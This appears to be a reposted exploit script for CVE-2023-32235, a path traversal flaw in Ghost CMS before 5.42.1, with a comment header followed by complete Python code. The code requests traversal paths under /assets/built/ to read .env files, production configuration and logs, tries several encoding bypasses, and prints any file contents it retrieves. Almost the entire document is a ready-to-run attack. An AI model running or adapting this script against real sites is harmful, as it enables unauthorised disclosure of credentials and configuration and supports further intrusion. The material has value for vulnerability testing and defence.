Ghost CMS 5.42.1 – Path Traversal


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: Ghost CMS 5.42.1 - Path Traversal
# Date: 2023-06-15
# Exploit Author:ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://ghost.org
# Software Link: https://github.com/TryGhost/Ghost
# Version: < 5.42.1
# Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur
# CVE: CVE-2023-32235
# Category: Web Application Security
# CVSS Score: 7.5 (High)
# Description:
# Ghost CMS before version 5.42.1 contains a path traversal vulnerability that allows
# remote attackers to read arbitrary files within the active theme's folder structure.
# The vulnerability exists in the /assets/built/ endpoint which improperly handles
# directory traversal sequences (../../) allowing unauthorized file access.
# This can lead to disclosure of sensitive configuration files, environment variables,
# and other critical application data.

# Impact:
# - Unauthorized file disclosure
# - Potential exposure of configuration files
# - Information gathering for further attacks
# - Possible credential harvesting

# Requirements: requests>=2.28.1
"""

import requests
import sys
import urllib.parse
from typing import Dict, List, Tuple, Optional

class ExploitResult:
    def __init__(self):
        self.success = False
        self.payload = ""
        self.response = ""
        self.status_code = 0
        self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal"
        self.severity = "High"

class PathTraversalExploit:
    def __init__(self, target_url: str, verbose: bool = True):
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'Accept': '*/*',
            'Cache-Control': 'no-cache',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        
    def exploit(self) -> ExploitResult:
        result = ExploitResult()
        
        #  path traversal payloads targeting Ghost CMS specific files
        payloads = [
            {"path": "../../package.json", "description": "Main package.json with dependencies", "sensitive": True},
            {"path": "../../../package.json", "description": "Root package.json", "sensitive": True},
            {"path": "../../config.production.json", "description": "Production configuration", "sensitive": True},
            {"path": "../../config.development.json", "description": "Development configuration", "sensitive": True},
            {"path": "../../.env", "description": "Environment variables", "sensitive": True},
            {"path": "../../../.env", "description": "Root environment file", "sensitive": True},
            {"path": "../../content/settings/routes.yaml", "description": "Routes configuration", "sensitive": False},
            {"path": "../../content/logs/ghost.log", "description": "Ghost application logs", "sensitive": False},
            {"path": "../../README.md", "description": "Documentation file", "sensitive": False},
            {"path": "../../yarn.lock", "description": "Yarn lock file", "sensitive": False},
            {"path": "../../package-lock.json", "description": "NPM lock file", "sensitive": False},
            {"path": "../../../Dockerfile", "description": "Docker configuration", "sensitive": False},
            {"path": "../../../docker-compose.yml", "description": "Docker compose file", "sensitive": False}
        ]
        
        for payload in payloads:
            target_url = f"{self.target_url}/assets/built/{payload['path']}"
            
            if self.verbose:
                print(f"[*] Testing path traversal: {payload['path']}")
                
            try:
                response = self.session.get(target_url, timeout=10)
                
                if response.status_code == 200 and len(response.text) > 0:
                    if self._detect_file_read_success(response.text, payload['path']):
                        result.success = True
                        result.payload = payload['path']
                        result.response = response.text
                        result.status_code = response.status_code
                        
                        if payload['sensitive']:
                            result.severity = "Critical"
                            
                        if self.verbose:
                            print(f"[+] Successfully exploited path traversal: {payload['path']}")
                            print(f"[+] File content preview: {response.text[:200]}")
                        return result
                        
            except requests.RequestException as e:
                if self.verbose:
                    print(f"[-] Request failed for {payload['path']}: {e}")
                continue
                
        # If no direct file read, try alternative bypass techniques
        if not result.success:
            self._try_path_traversal_bypasses(result)
            
        return result
        
    def _try_path_traversal_bypasses(self, result: ExploitResult):
        """Try various bypass techniques for path traversal"""
        bypass_payloads = [
            "..%2f..%2fpackage.json",           # URL encoded
            "..%252f..%252fpackage.json",       # Double URL encoded
            "....//....//package.json",        # Double dot bypass
            "..\\\\..\\\\package.json",            # Windows style
            ".%2e/.%2e/package.json",           # Mixed encoding
            "..%c0%af..%c0%afpackage.json",     # UTF-8 overlong encoding
        ]
        
        for payload in bypass_payloads:
            target_url = f"{self.target_url}/assets/built/{payload}"
            
            try:
                response = self.session.get(target_url, timeout=10)
                
                if response.status_code == 200 and self._detect_file_read_success(response.text, payload):
                    result.success = True
                    result.payload = payload
                    result.response = response.text
                    result.status_code = response.status_code
                    
                    if self.verbose:
                        print(f"[+] Path traversal successful using encoding bypass: {payload}")
                    break
                    
            except requests.RequestException:
                continue
                
    def _detect_file_read_success(self, body: str, payload: str) -> bool:
        """Check if the response indicates successful file read"""
        # Check for common file content indicators
        file_indicators = {
            "package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'],
            ".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="],
            "config": ['"database"', '"server"', '"url"', '"mail"'],
            "routes.yaml": ["routes:", "collections:", "taxonomies:"],
            "ghost.log": ["INFO", "ERROR", "WARN", "Ghost"],
            "README": ["#", "##", "Ghost", "installation"],
            "Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"],
            "docker-compose": ["version:", "services:", "ghost:"]
        }
        
        # Check specific file type indicators
        for file_type, indicators in file_indicators.items():
            if file_type.lower() in payload.lower():
                for indicator in indicators:
                    if indicator in body:
                        return True
                        
        # Generic file content indicators
        generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"]
        
        count = sum(1 for indicator in generic_indicators if indicator in body)
        
        # If multiple generic indicators found, likely a valid file
        return count >= 3

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 CVE-2023-32235.py ")
        print("Example: python3 CVE-2023-32235.py http://target.com")
        return
        
    exploit = PathTraversalExploit(sys.argv[1], verbose=True)
    result = exploit.exploit()
    
    print("\n=== CVE-2023-32235 Path Traversal Exploit Results ===")
    print(f"Target: {exploit.target_url}")
    print(f"Success: {result.success}")
    print(f"Severity: {result.severity}")
    print(f"Description: {result.description}")
    
    if result.success:
        print(f"Payload: {result.payload}")
        print(f"Status Code: {result.status_code}")
        print(f"Response Preview: {result.response[:500]}")
    else:
        print("Exploit failed - target may not be vulnerable")

if __name__ == "__main__":
    main()
            



Source link

Leave a Reply

Your email address will not be published. Required fields are marked *